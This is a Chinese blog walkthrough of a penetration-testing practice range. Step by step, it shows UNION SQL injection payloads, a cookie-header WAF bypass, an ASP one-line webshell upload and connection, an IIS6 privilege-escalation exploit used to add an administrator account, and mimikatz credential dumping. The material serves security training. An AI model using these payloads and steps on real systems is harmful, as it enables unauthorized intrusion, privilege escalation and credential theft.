封神台靶场尤里的复仇I第一第二第五第六第七章解题思路(持续更新)

原创

June giv ① 于 2021-01-02 17:35:13 发布 ② 2034 🏫 收藏 10

分类专栏: 网络安全 文章标签: 经验分享

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

本文链接: <u>https://blog.csdn.net/weixin_50549897/article/details/112099578</u>



C.

网络安全 专栏收录该内容

4 篇文章 1 订阅 订阅专栏

- 一.第一章
- 二.第二章
- 三.第五章
- 四.第六章
- 五.第七章

总结

提示: 本文按照靶场题目推进顺序进行,由于作者水平有限,有讲述不当之处敬请批评指出,有更好的解法欢迎在评论区发表。

本文将持续更新。靶场地址https://hack.zkaq.cn/battle

一.第一章

sql注入

首先通过id=2判断是否存在sql注入



接着判断注入类型,发现为数值型注入 关于如和判断注入类型请点击此处

接着用order by爆破字段数

关于字段数 请点击此处



发现它的字段数为2. 下一步利用联合查询寻找回显点,构造

?id=1 and 1=2 union select 1,2

第二个字段出现在页面上即为回显点



构造以下语句查询数据库名为maoche

Pid-1 and 1-2 union select 1,database() Image: Spe3200.798003/Rd=1 and 1=2 union

接着查询数据库表名

?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1



猜测管理员账号密码在admin里 接着查询字段名,分别构造如下语句

?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table _name='admin' limit 0,1

id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and tabl
e_name='admin' limit 1,1

?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table _name='admin' limit 2,1

发现admin表里面有id,username,password三个字段构造以下语句查询管理员用户名

?id=1 and 1=2 union select 1, username from admin

查到用户名是admin,接着查询密码

?id=1 and 1=2 union select 1,password from admin

密码是hellohack 本题的flag为hellohack



一上来先用御剑扫网站后台

📢 御剑1.5《想念初恋》 BY: 御剑孤独 QQ:343034656 Х 绑定域名查询 多种编码转换 Ⅲ5解密相关 系统信息 批量扫描后台 批量检测注入 双 ASP.txt-使用 击 ASPX.txt-使用 操 DIR.txt-使用 作 JSP.txt-使用 200 吸取绑定域名列表 开始扫描 ^ 3xx 外部导入域名列表 模式 HEAD - 速度极快 ~ 线程 33 ✓ 超时 3 403 作业数量:1 扫描信息:扫描完成. 扫描速度: 0/每秒 http://59.63.200.79:800 ID 地址 HTTP响应 ~ http://59.63.200.79:8004/admin/login.asp 1 http://59.63.200.79:8004/admin/southidceditor/popup.asp 200 2 3 http://59.63.200.79:8004/admin123/login.asp 200 http://59.63.200.79:8004/admin/Login.asp 4 200 5 http://59.63.200.79:8004/editor.asp 200 6 http://59.63.200.79:8004/admin/SouthidoEditor/ewebeditor.asp 200 7 http://59.63.200.79:8004/upfile_photo.asp 200 http://59.63.200.79:8004/upfile_0ther.asp 8 200 http://59.63.200.79:8004/inc/config.asp 9 200 http://59.63.200.79:8004/UserReg.asp 10 200 http://59.63.200.79:8004/admin/SouthidoEditor/Upload.asp 200 11 12 http://59.63.200.79:8004/UserLogin.asp 200 13 http://59.63.200.79:8004/index.asp 200 200 14 http://59.63.200.79:8004/head.asp 15 http://59.63.200.79:8004/add.asp 200 http://59.63.200.79:8004/error.asp 200 16 17 http://59.63.200.79:8004/search.asp 200 18 http://59.63.200.79:8004/shownews.asp 200 19 http://59.63.200.79:8004/vote.asp 200 20 http://59.63.200.79:8004/help.asp 200 21 http://59.63.200.79:8004/inc/foot.asp 200 < ъ http://59.63.200.79:8004/upload other.asp 22 200 添加 刪除 清空 https://blog.csdn.net/weixin 50549897



发现一个管理员入口,但是要设法拿到账号密码才能登进去 用上一章的方法爆破字段数时发现字段数为10. 构造以下语句打算查询是否有admin这表

?id=171 union select 1,2,3,4,5,6,7,8,9,10 from admin



发现这样子,这是注入防护,只要出现关键字如select就会被拦截。查资料发现网站一般拦截get,post传参。因此我考虑把它放 在cookie里发送。需要用到Modheader插件,谷歌,火狐浏览器都可以找到并安装。

equest headers	
Name	
Cookie	
Value	
id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+adr	nin
Comment	
	DONE

在name里填入cookie,在Value里构造如下语句,原空格位置要用加号代替

id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin

把网页上面的asp后面去掉,回车,语句成功被发送。

0 💋 59.63.200.79:8004/shownews.asp	… ◎ ☆	🗉 9 📀		🥹 🗈 🗄
		NEREY BY		
新闻中心	2			
企业新闻	2			
行业新闻	发布者:7 发布时间:8 阅读:9次			
技术资料				
产品问答	3			
资质证书	打印本页	关闭窗口		
掌控安全学院 黑音安全渗透体系课程 现在点击 <mark>免费</mark> 学!				
	n hann an ann an bhann ann an ann ann ann an ann ann an ann ann an a			
	友情链接: IP138 工信部 ASP SEO优化 图库99 HAO123 雅虎 网易 福建難望, 脱胎漆器,雕塑家 胡文平 官方网站 版权所有 闽ICP备03023960号 电话: 13705034803 Conwright: 2012 Auto Parts All Right Researed	https://blog.c	sdn.net/weix	n_50549897

看到页面回显了2,3,7,8,9这五个数字,说明admin这张表确实存在,且有2,3,7,8,9这几个字段。我们想得到管理员 账号密码的信息就要查看字段里的内容。我构造以下语句,将2,3,7,8,9中任两个分别替换成username和password。

id=171+union+select+1,password,username,4,5,6,7,8,9,10+from+admin

0 🔏 59.63.200.79:8004/shownews.asp		··· ▽ ☆	≉ ⊻ ⊪∖ 🗉 Θ 🧇	🌾 👶 🤡 🗉 😑
福建博均雕塑 FUJIAN BOJUN DIAOSHU	脱胎漆器有限公司 TUOTAIQIQU LINITED COMPANY			
网络首	页 关于我们 产品中心 新闻中心 ;	客户案例 在线留言 联系我(n	
▶ ■ 新闻中心	b9a2a2b5dffb918c			
·企业新闻	b9a2	a2b5dffb918c		
行业新闻	发布者:72	发布时间:8 阅读:9次		
技术资料				
·产品问答	admin			
资质证书 ② 点击进入			打印本页 关闭窗口	
掌接安全学校 黑者安全渗透体系课程 现在点击 <mark>免费</mark> 学!			https://blo	g.csdn.net/weixin_50549897

发送后,看到账号为admin,密码信息为b9a2a2b5dffb918c。按这个去提交发现不正确。猜测密码经过了MD5加密,解密后得 到密码为welcome 在线解密平台https://www.somd5.com/

	输入记	上你无语	的MD5	
b9a	2a2b5dffb918c			解密
			14402-Shires	
	md5			
	welcome			
			12032	

在我们一开始扫出来的管理员登录入口输入即可进入后台!



三.第五章

按照题目提示,用上一关中得到的cookie来登录管理员后台。上一关中在xss平台得到的含有flag的cookie的值去掉flag{***}后为 ADMINSESSIONIDCSTRCSDQ=LBMLMBCCNPFINOANFGLPCFBC 在打开web控制台在储存里修改cookie的值即可访问管理页面

修改为管理员cookie后请直接访问管理页面 准备好了吗?

日本	□ 调试器 1→ 网络 {}样式	編編器 🥥 性能 🕕 内存 📑	存储 🕇 无障碍环境 嘂	应用程序 🏾 🕑 HackBar					<u></u>
Cookie http://59.63.200.79:8005	▼项目过滤器		Domain	Path Expires / Max-Ar	ae +/h HttpOply	Secure SameSit		▼过滤值	
► Indexed DB	ASPSESS GPIAMLACEAHI	MFNJBOHGKMBO	59.63.200.79	/ 会话	44 false	false None	Sat, 09 Jan 2021 1	▼ ASPSESSIONIDSQATTCBS: *(
▶ 🖶 本地存储	BkGOp9 default	9762560-1609299904-0426-04-2420	59.63.200.79	/ Tue, 19 Jan 2021	1 32 false	false None	Sat, 09 Jan 2021 1	Domain: "59.63.200.79" Expires / Max-Age: "会话"	
	PHPSESS 1fafadonqsnb9	igfcdicrhdev6	59.63.200.79	/ Sat, 10 Jul 2021	35 false	false None	Sat, 09 Jan 2021 1	HostOnly: true	
▶ □ 35131316	ray0 x00000000000000000000000000000000000	202000000000000000000000000000000000000	00000000000000000000000000000000000000	/ 会话 / 会话	823 false 823 false	false None false None	Sat, 09 Jan 2021 1 Sat, 09 Jan 2021 1	Path: "/"	
	ray2 x000000000000000000000000000000000000	000000000000000000000000000000000000000	000000000000000000000000000000000000000	/ 会话	823 false	false None	Sat, 09 Jan 2021 1	SameSite: "None" Secure: false	
	rav4 x000000000000000000000000000000000000	000000000000000000000000000000000000000	00000000000000000000000000000000000000	/ 医脑	823 false	false None	Sat. 09 Jan 2021 1 V	创建于htfps://的dgrc3021nef/	₩elxline_60549897
@管理后台 ⊗				管理快捷方式	t				
	快速功能链接	管理员管理							
糸玩官埋 ♥ 企业信息 ♥									
产品管理 😵	用户名: admin			系统信息 IP: 221.4	4, 32, 13				
海价管理 🍣	身份过期: 30 分钟			现在时间:	2021年1月9日23:26				
新闻管理	上线次数: 549	0 60 000 70-000F		上线时间:	2018-3-30 18:27:39				
留言管理 🍣	服务器软件的名称: Microsoft=:	IIS/6.0		浏览器版本	Mozilla/5.0 (Win	ooz dows NT 10.0; Win6	4; x64; rv:85.0) Gecko/20	0100101 Firefox/85.0	
案例管理	FSO文本读写: √			数据库使用]: √				
友情链接	Jmail组件支持: ×			CDONTS	目件支持: ×				
Web Information 《 企业/成功/管理系统									
				Script Execution Time:8.4	40564E+07ms				
麻 和 切 送									
□ ○ 查看器 ○ 控制台	□ 调试器 1↓ 网络 {} 样式	编辑器 🕜 性能 🕀 内存 🔒	存储 肯 无障碍环境 闘	应用程序 🌍 HackBar					
 Cookie http://59.63.200.79:8005 	名称值		Domain	Path Expires / Max-A	Age 大小 HttpOnly	y Secure SameS	ー C 凹 te 最后访问	 ↓ <u>1136-14</u> ◆ 数据 	
Indexed DB	ASPSESS GPIAMLACEAH	IMFNJBOHGKMBO	59.63.200.79) / 会话	44 false	false None	Sat, 09 Jan 2021 1	 ASPSESSIONIDSQATTCBS: Domain: "59 63 200 79" 	
▶ 🗄 本地存储 ▶ 🗐 会话存储	CNZZDA cnzz_eid%3D77	9762569-1608388894-%26ntime%3D	1610200466 59.63.200.79	/ Sat, 10 Jul 2021	1 52 Talse	false None	Sat, 09 Jan 2021 1 Sat, 09 Jan 2021 1	Expires / Max-Age: "会话"	
▶ 🗄 銀存存储	PHPSESS 1fafadonqsnb9 ray0 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx	ugfcdicrhdev6 000000000000000000000000000000000000	59.63.200.79 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx	9 / <u>会话</u> 9 / <u>会</u> 话	35 false 823 false	false None false None	Sat, 09 Jan 2021 1 Sat, 09 Jan 2021 1	HttpOnly: false	
	ray1 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx	000000000000000000000000000000000000000	xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx		823 false	false None	Sat, 09 Jan 2021 1	Path: "/" SameSite: "None"	
	ray3 x0000000000000	000000000000000000000000000000000000000	xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx) / 会话	823 false	false None	Sat, 09 Jan 2021 1	Secure: false 创建中共PSi/(bb996行包0210位	<u>жеіхів 50</u> 549897
后	密码方MH)上付 庫本 0) 查看(V) 帮助(H) ffffffffffffffffffffffffffffffffffff	₹ ffffffffffffffffffffffffffffffff						-	. ×
Ĩ							ht	tps://blog.csdn.net/weixi	in_50549897
\leftarrow \rightarrow C \textcircled{a}	0 🔏 59.63.200.79	9:8005/admin/default.asp			90%	⊠ ☆	لا الا	III\ 🗉 🛛 📀 😵 🧌	🖻 🥸 📭 🕴
@ 管理后台 ⊗				企业网站管理题	系统		_		
回到首页 退出 (
系统管理									
企业信息 * 产品管理 *			○代码 📑	设计 🥥 文本 💽 預覧					
产品类别			1% V						
添加产品			G						
 適价管理 下载中心									
新闻管理									
留言管理 案例管理 ※									
人才管理		英	2产品说明:						
友情链接 Web Information 《									
企业网站管理系统									
展 第 1									
換			◎代码 📑	设计 🥥 文本 🔇 預覧		4 -			
			产品图片: UploadFiles/2021	19232950876.ce 文件上作	专成功! 文件大小为: 0	IK			
		Ē	→ 回辺 申修: ビ 是 (如果选中) 首页显示:	的话将直接发布) 的话将在首页显示)					
		首引	「新品显示:	的话将在首页显示为新品展示)					
			录入时间: 2021-1-9 23:28:	41 当前时间为: 2021-1-9	注意不要改变格式。				
				<i>1</i> 8× <i>1</i> ,11					

把产品图片后面那一串复制放到网页8005/后面,回车,发现木马成功被执行!

0 🎽 59.63.200.79

俞

2

Ø 中国蚁剑 _ \times AntSword 编辑 窗口 调试 ◀ ■ □ 59.63.200.79 🛞 • ☷ 数据管理 (1) ▶ 分类目录 (1) > ●添加 A 重命名 ● 删除 IP地址 物理位置 网站备注 创建时间 更新时间 URL地址 http://59.63.200.79:8005/UploadF 59.63 🗅 默认分类 0 📘 添加数据 _ 🗆 × ○添加 × 清空 ○ 测试连接 ■基础配置 v URL地址 * http://59.63.200.79:8005/UploadFiles/202119232950876.cer 连接密码 * MH 网站备注 编码设置 GBK ~ 连接类型 ~ ASP 编码器 ● default (不推荐) ○ random (不推荐) insert_percent • **e** 请求信息 ^ ✿ 其他设置 ^

然后我打开中国蚁剑进行连接(菜刀,冰蝎为同类工具。我的菜刀刚刚不小心被杀毒软件拦截了,后面我会演示菜刀使用,注意 使用菜刀记得添加齐信任!!!)

🔸 🕪 🖸 🛛 😔 😵 🌚 😼

IP

成功进入,我们在D盘里找到flag文件打开即可看到flag!!!

夕中国蚁剑			- 🗆 X
AntSword 编辑 窗口 调试			
 ▲ ▲ ▲ ▲ 59.63.200.79 (※) ▲ 59.63.200.79 (※) 	.63.200.79 🛞 🗅 59.63.200.79 🛞 >_ 59.63.200.79 🛞	□ 59.63.200.79 🛞	•
□ 目录列表 (11) <	① 文件列表 (188)		^
C:/	O 新建 ▼ ↑ 上层 C 刷新 ☆ 主目录 ■ 书签 ▼	D:/05/	→ 读取
D:/	名称	日期大小	属性
UploadFiles	Add.ASP	2013-04-07 18:15:00 4.34 Kb	32
- 06	ൾ CompHonor.asp	2019-04-10 15:58:08 4.03 Kb	32
Databases	CompVisualize.asp	2019-04-10 15:58:08 9.88 Kb	32
- Images	🚯 CompVisualizeBig.asp	2019-04-10 15:58:08 5.84 Kb	32
Img	ගා Download.asp	2019-04-10 15:58:08 3.86 Kb	32
	DownloadShow.asp	2019-04-10 15:58:08 7.19 Kb	32
admin		2010-04-16 17:39:00 2.17 Kb	32
flash		2013-04-07 18:15:00 58.2 Kb	32
imgbly	₫ Error.ASP	2013-04-07 18:15:00 3.24 Kb	32
imgbyw	FLAG!.txt	2018-03-30 19:26:00 24 b	32
- RECYCLER		2019-04-10 15:58:08 9.43 Kb	32
- System Volume Information	In a state of the state of	2013-04-07 18:15:00 10.13 Kb	32
phpStudy	FeedbackSave.asp	2013-04-07 18:15:00 2.23 Kb	32
E:/	FeedbackView.asp	2019-04-10 15:58:08 9.04 Kb	32
	End ach	2013-04-07 18-15-00 1 1 Kh	30

副任	■ 年冬初表 https://blockschinel/weixin_505498本/					
<ı>	Help.asp	2013-04-07 18:15:00	1.98 Kb	32	-	
$\langle \rangle$	Head.asp	2013-04-07 18:15:00	4.92 Kb	32		
 	GetPassword.asp	2013-04-07 18:15:00	9.76 Kb	32		
42	ιουιασμ	2012-04-01 10:12:00	1.1 NU	52		

四.第六章

按照要求,要进入目标服务器,并且得到最高权限。

在此之前,要先上传一个木马。我构造了一个一句话木马,密码为MH

🥘 一句话木马.txt - 记事本

文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)

https://blog.csdn.net/weixin_5054989

ی 🌮 🕲 🗉 🛝 🖉

 \times

修改后缀为cer后上传

		○ 代码 · · · · · · · · · · · · · · · · · ·
	产品图片:	浏览… 一句话木马.cer 上传
	已通过审核:	☑ 是 (如果选中的话将直接发布)
	首页显示:	☑ 是 (如果选中的话将在首页显示)
	首页新品显示:	☑ 是 (如果选中的话将在首页显示为新品展示)
	录入时间:	2021-1-2 15:13:20 当前时间为: 2021-1-2 注意不要改变格式。
		添加 https://blog.csdn.net/weixin_50549897
成功被	皮执行	
		□ 代码 □ 设计 ② 文本 ⑤ 预览
	产品图片:	JploadFiles/202112162855932.cer 文件上传成功! 文件大小为: 0K
	已通过审核:	☑ 是 (如果选中的话将直接发布)
	首页显示:	☑ 是 (如果选中的话将在首页显示)
	首页新品显示:	☑ 是 (如果选中的话将在首页显示为新品展示)
	录入时间:	2021-1-2 16:28:48 当前时间为: 2021-1-2 注意不要改变榕式。log.osdn.nei/weixin_50549897

← → C û
♥ 59.63.200.79:

Wicrosoft VBScript 运行时错误 错误 '800a000d'

类型不匹配: 'execute'

/UploadFiles/202112162855932.cer, $\overleftarrow{\mathrm{T}}$ 1

然后我打开菜刀(中国蚁剑,冰蝎为同类工具)(注:菜刀运行之前记得添加信任)右键添加,脚本类型选择asp,右上角填写刚 刚上传木马的密码。



进入了该服务器后,打开C盘发现有flag.txt,但是发现我没有权限打开



我发现D盘是可以上传文件的,因此我准备了一个cmd.exe上传打算通过cmd提权。上传后右击cmd.exe选择用虚拟终端打开。输入whoami发现我只是个普通的用户。如果我要打开D盘的文件,我要把我变成高级用户。

此时输入net user june 123 /add打算添加一个名为june密码为123的用户。但是却发现拒绝访问。???

参考其他人的WP发现使用cmd需要用到外部接口wscript.shell。但是wscript.shell仍然在C盘,C盘我们仍然无法访问。那么就只 能再上传一个已经组装好的wscript.shell,也就是iis6.exe.

我通过iis6.exe执行whoami从this exploit gives you a local system shell发现它已经给了我一个本地最高权限。我的权限已经变成了system.

D:\O5\UploadFiles\> iis6.exe "whoami" [IIS6Up]—>IIS Token PipeAdmin golds7n Version [IIS6Up]—>This exploit gives you a Local System shell [IIS6Up]—>Set registry OK [process walking]: 420 davcdata.exe
[process walking]: 1336 wmiprvse.exe [IIS6Up]—>Got WMI process Pid: 1336 [Try 1 time] [Try 2 time] [Try 3 time] [Try 4 time]
D:\05\UploadFiles\> bttps://blog.csdp.pet/weivip_50549897

我再次添加一个june用户,成功了!! (之前忘了截图因此我又输入了一次)

再次用iis6.exe "net user june"发现我还是一个普通用户。需要把它变成一个管理员用户。因此我输入iis6.exe "net localgroup Administrators june /add"成功把我变成administrator!!!

[IIS6Up]—>This exploi [IIS6Up]—>Set registr [process walking]: 420 [process walking]: 173 [process walking]: 290 [process walking]: 316 [process walking]: 316 [process walking]: 395 [IIS6Up]—>Got WMI pro [Try 1 time] [IIS6Up]—>Found token [*]Running command wit [*]Command: net user j [+]Done, command shoul	t gives you a Local Sy y OK davcdata.exe 6 cmd.exe 4 w3wp.exe 0 iis6.exe 2 wmiprvse.exe cess Pid: 3952 .SYSTEM h SYSTEM Token une d have ran as SYSTEM!	rstem shell
用户名 全著 第户的注释 国家(地区)代码 帐户启用 帐户到期	june 000(系统默认值) Yes 从不	
上次设置密码 密码到期 密码可更改 需要密码 用户可以更改密码	2021-1-2 14:37 2021-2-14 13:25 2021-1-2 14:37 Yes Yes	
允许的工作站 登录脚本 用户配置文件 主次登录	All 2021-1-2 14:46	
可允许的登录小时数	All	
本地组成员 全局组成员 命令成功完成。	*Administrators *None	*Users
	nups.//biog.csun.net/	weixin_5054989

然后用tasklist -svc命令查看了这台服务器开启的服务,发现远程桌面服务termservice的pid是2444

	🚞 59. 63. 200. 79	×	59. 63. 200. 79	× +	1
D:\05\Upl	.oadFiles\> tasklist	-svc			
映像名称		PID	服务		
System Id	le Process	0			
System		284	習試 転換		
CSTSS. exe		332	暫 缺		
winlogon.	exe	356	暂缺		
services.	exe	404	Eventiog, PlugPlay	ant Protoctads	torage
1 .		410	SamSs	sent, froteoleus	LOI age,
svchost e	xe	672	BrcSs		
svchost. e	xe	728	Dhop, Dnscache		
svchost.e	ex e	756	LmHosts, W32Time	G 1G 1	
svchost.e	xe	792	ReLookupovc, Browser EventSystem, belnsv	, Lryptövc, dms: Japmanserver	erver,
			lanmanworkstation, 1	Wetman, Nla, Sch	edule,
			seclogon, SENS, Shel	1HWDetection, Tr	ckWks,
spoolsv.e	xe	952	Spooler	126346	
msdtc. exe		980	MSDTC		
svchost.e	xe	1144	ERSVC		
inetinto. svchost. e	exe xe	1200	RemoteRegistry		
VGAuthSer	vice. exe	2020	VGAuthService		
vmtoolsd.	exe	2064	VMTools		
svchost.e	xe	2444	TermService		
dllhost.e	xe	2024	CORE, SAPP		
wJwp.exe wminrvse	exe	2904	省献 転録		
csrss.exe		2872	暫 缺		
winlogon.	exe	3112	習録		
ctfmon.ex	e	200	「「「「」」を見ていていていていていていていていていていていていていていていていていていてい		
phpStudy.	exe	272	暂缺		
□菜刀@2	2014/12/13@4b4a95	56b9c7	dc734f339fa05e4c2a	ggocsdn.net/weix	in_50549897
0:\05\Vp	loadFiles\> netstat	-ano			
Active C	onnections				
_	* 1 . 11	-		-	575
Proto TCP	Local Address O O O O 0.80	1 F (oreign Address A A A A	State LISTENING	PID 476
TCP	0.0.0.0:81	Ő.	0.0.0:0	LISTENING	4
TCP	0.0.0.0:82	0.	0.0.0:0	LISTENING	4
TCP	0.0.0.0:135	U. O.	0.0.0:0	LISTENING	4
TCP	0.0.0.0:1025	0.	0.0.0:0	LISTENING	416
TCP	0.0.0.0:1026	0.	0.0.0:0	LISTENING	980 2276
TCP	0.0.0.0:3389	0. 0.	0.0.0:0	LISTENING	2444
TCP	0.0.0.0.0021	Ų.	0.0.0:0	LISTENING TIME MATE	410
TCP	127.0.0.1:4466	12	27.0.0.1:3306	TIME_WAIT	0
TCP	127.0.0.1:4468	12	27.0.0.1:3306	TIME_WAIT	ŏ
TCP	127.0.0.1:4469	12	27.0.0.1:3306	TIME_WAIT	0
TCP	192.168.0.3:80	42	2.238.177.156:16693	TIME WAIT	0
TCP	192.168.0.3:80	42	2.238.177.156:16694	TIME_WAIT	õ
TCP	192.168.0.3:80	42	2.238.177.156:16695	TIME_WAIT	0
TCP	192.168.0.3:80	42	238.177.156:16697	TIME_WAIT	ő
TCP	192.168.0.3:80	42	2.238.177.156:16698	TIME_WAIT	0
TCP	192.168.0.3:80 192.168.0.3:80	42	238.177.156:16699	TIME_WAIT	0
TCP	192.168.0.3:80	42	238.177.156:16701	TIME_WAIT	õ
TCP	192.168.0.3:80	42	2. 238. 177. 156: 16702	TIME WAIT	0
TCP	192.168.0.3:80 192.168.0.3:80	42	238.177.156:16703	TIME_WAIT	0
TCP	192.168.0.3:80	42	2.238.177.156:16762	TIME_WAIT	ŏ
TCP	192.168.0.3:80	42	2.238.177.156:16766	TIME_WAIT	0
TCP	192.166.0.3:80 192.168.0.3:80	13	9,210,5,135,42384 39,210,5,13 5,4239 2	TIME_WALT	U 50/5 40 90 7
TCP	192.168.0.3:80	1	71.212.125.225.13684	ESTABLISHED	1256

然后使用netstat -ano查看了端口和连接状态,结果显示pid=2444所对应的端口号是3389,状态是正在监听,也就是说远程桌面服务的端口号是3389,也就是说它是开着的,只要这个端口收到信息,它就能知道。

🌄 远程桌面连接			_		\times
、 远和 连	程桌面 接				
计算机(C):	59.63.200.79:3389		\sim		
用户名: 考	未指定				
当你连接时将向你	你询问凭据。				
			_		
🕤 显示选项(O))	连接(N)	et we i	帮助(H) 49897

然后用win+r输入mstsc打开远程桌面。将端口改为3389。用户名为june密码为123。

🌄 59.63.200.79:3389 - 远程桌面连接	—	
		Ŷ
登录到 Windows		
Windows Server 2003 R2 Enterprise Edition		
Copyright © 2005 Microsoft Corporation Microsoft		
用户名 (U): june		
密码 (E): ***		
→		
https://blog.csdn.	net/weix	in_50549897 <mark>、</mark>

成功入侵了这台服务器!进去之后开始为所欲为了。找到C盘打开,直接找到flag!

安全配置点E 表的电脑 文件 (2) 编辑 (2) 查看 (2) 收藏 (A) 工具 (2) 帮助 (2) ② 后退 • ③ • ④ ▶ 搜索 ▷ 文件夹 …• 地址 (2) ● 我的电脑 文件夹 ▲ 文件夹 名称 类型 总大小 可用空间 备注 文件夹 名称 类型 息大小 可用空间 备注 文件夹 本地磁盘 9.99 GB 6.62 GB 受信 我的文档 ● ● 本地磁盘 9.99 GB 6.62 GB ● ● 本地磁盘 (C:) 本地磁盘 9.98 GB 8.59 GB 6.62 GB ● 本地磁盘 (D:) 本地磁盘 9.98 GB 8.59 GB ● ● 本地磁盘 (D:) 本地磁盘 9.98 GB 8.59 GB ● ○ CMMEVOL_CN (E:) ● <th></th> <th>9.63.200.79:3389 - 远程</th> <th>桌面读</th> <th>接</th> <th></th> <th>_</th> <th></th> <th>×</th>		9.63.200.79:3389 - 远程	桌面读	接		_		×
文件 (P) 编辑 (E) 查看 (V) 收藏 (A) 工具 (T) 帮助 (H) ③ 后退 • ③ • ④ / 按 搜索 (▷ 文件夹 :::) 地址 (D) ③ 我的电脑 文件 (P) 编辑 (E) 查看 (V) 收藏 (A) 工具 (T) 帮助 (H) ④ 后退 • ④ · ⑦ / 沙 / 搜索 (▷ 文件夹 :::) 地址 (D) ③ 我的电脑 文件 (P) 编辑 (E) 查看 (V) 收藏 (A) 工具 (T) 帮助 (H) ③ 后退 • ④ · ⑦ / 沙 / 沙 搜索 (▷ 文件夹 :::) ************************************) 2						^
 ● 本地磁盘 (C:) ● 本地磁盘 (D:) ● 本地磁盘 (D:) ● ● 本地磁盘 (D:) ● ● 本地磁盘 (D:) ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ● ●	女王祀百	我的电脑 文件(2) 编辑(2) 查看(2) ○ 后退 • ○ • ○ ● 二 ● 大的电脑 文件夹 ② 桌面 田 □ ● 我的文档 □ ○ 数的电脑	收i 索 〔 ×	 ★ (A) 工具(T) 帮助 文件夹	b(t) │类型 本地磁盘	 总大小 9.99 GB	可用空间 6.62 GB	
		□ ● MAREMANDE ● ● 本地磁盘 (D:) ● ● CRMEVOL_CN (E:) ● ● CRMEVOL_CN (E:) ● ● 网上邻居 ● 回收站		◆本地磁盘 (D:) 有可移动存储的设 了 CRMEVOL_CN (E:)	本地磁盘 2备 CD 驱动器	9.98 GB 608 MB	8.59 GB O 字节	DE LOROT

👆 59.63.200.79:3389 - 远程桌面连接

Х 。 安全配置向号 ~ 🖄 C : \ 文件() 文件 (E) < ● **£1 ag. txt - 记事本** ③ 后退 → 文件 (E) 编辑 (E) 格式 (D) 查看 (V) 帮助 (H) 地址 @) 🕪 zkz{F3ck_power_3y3stem} 文件夹 ★IT (A)
 ★ (A)
 3 <

五.第七章

接着上一关,利用远程登录后看到有两个疑似藏有flag信息的文件。

躼 59.63.200.79:3389 - 远	程桌面				- 🗆	
C:\Documents and Set 文件(F) 編録(E) 查看()	ttings ¹ V) 收a	Administrator\桌面 蔵(A) 丁具(T) 帮助(A)				
(3 后退 → ③ → 🎓 🔎	書 🦉	> 文件夹 │ 冊▼				
地址 (D) C:\Documents a	und Sett	tings\Administrator\桌面				
			大小	类型	修改日期	
	*	☐ DedeCMS-V5.7-UTF8-SP1 ☐ Dism++10.1.1001.10_d4ba		文件夹 文件夹	2018-10-24 23 2020-8-13 22:0	:07 02
■ 里爾名这个发行		🚰 phpStudy. exe	1 KB	快捷方式	2018-10-24 22	:31
☑ 極刻之「文件 ☑ 复制这个文件		■ SEVEN-小芳.txt ◎ 相要找到小苦吗 -:.	1 KB	艾本艾档 压缩(rinned)立件本	2018-9-7 23:4	5 54
▲ 将这个文件发布到 W	eb	■ 新建 文本文档.txt	1 KB	立本文档 文本文档	2018-10-24 23	:24
📄 💭 以电子邮件形式发送	此					
立 文件 入 打印这个文件						
→ 删除这个文件						
其它位置	*					
🛅 Administrator						
🗧 🔚 我的文档						
🪽 我的电脑						
◎ 図上邻居						
详细信息	¥					
<						
开却发现没有权限						



我打开了txt文件的属性-安全-高级,把权限全部都改成允许。然后对zip文件重复上述操作。

2



 \times

打开zip文件发现需要解压密码

##

nimikatz #

🔩 59.63.200.79:3389 - 远程桌面连接





首先输入privilege::debug回车,然后输入sekurlsa::logonpasswords回车,找到管理员密码wowlyougotit!

```
🥝 mimikatz 2.0 alpha x86
                                                                                                                                                                                                                               _ 8 ×
      mimikatz 2.0 alpha (x86) release "Kiwi en C" (Apr 13 2014 23:03:04)
    ##
                                      mimikatz # privilege::debug
Privilege '20' OK
 mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 44400164 (00000000:02a57e24)
Session : RemoteInteractive from 4
User Name : june
Domain : GONGKAIK-D45FB6
SID : S-1-5-21-2775063910-2920827999-2173817585-1012
                      : S-1-5-21-2775063910-2920827999-2173817585-1

msv :

I000000021 Primary

* Username : june

* Domain : GONGKAIK-D45FB6

* LM : ccf9155e3e7db453aad3b435b51404ee

* NTLM : 3dbde697d71690a769204beb12283678

* SHA1 : 0d5399508427ce79556cda71918020c1e8d15b53

wdigest :

* Username : june

* Domain : GONGKAIK-D45FB6

* Password : 123

kerberos :
                       * rassword : 125
kerberos :
* Username : june
* Domain : GONGKAIK-D45FB6
* Password : 123
                       ssp :
credman :
Authentication Id : 0 ; 27520470 (00000000:01a3edd6)
Session : RemoteInteractive from 4
User Name : Administrator
Domain : GONGKAIK-D45FB6
SID : S-1-5-21-2775063910-2920827999-2173817585-500
Session
User Name
Domain
SID
                     msv :

[00000002] Primary

* Username : Administrator

* Domain : GONGKAIK-D45FB6

* LM : 4d582fa9df7504345e8e7baade1462e6

* LM : 4d582fa9df7504345e8e7baade1462e6

* NTLM : 43322078afa889e76ead4e24593fe0f6

* NTLM : 43322078afa889e76ead4e24593fe0f6

* SHA1 : 0da6cbfad62801060ae66a9d6c1d75599f354f44
                       [00000002] Primary

* Username : Administrator

* Domain : GONGKA1K-D45F

* LM : 4d582fa9df750

* NTLM : 43322078afa88

* SHA1 : 0da6cbfad6280

wdigest :

* Username : Administrator

* Domain : GONGKA1K-D45F

* Password : ww!yougotit!
                       * lassword ' work yougstift'
kerberos :
* Username : Administrator
* Domain : GONGKAIK-D45FB6
* Password : wow!yougotit!
```



输入解压密码后得到本题flag!

▶ 59.63.200.79:3389 - 远程桌面连接	_		×
❷ninikatz 2.0 alpha x86 _ ₱ ×			^
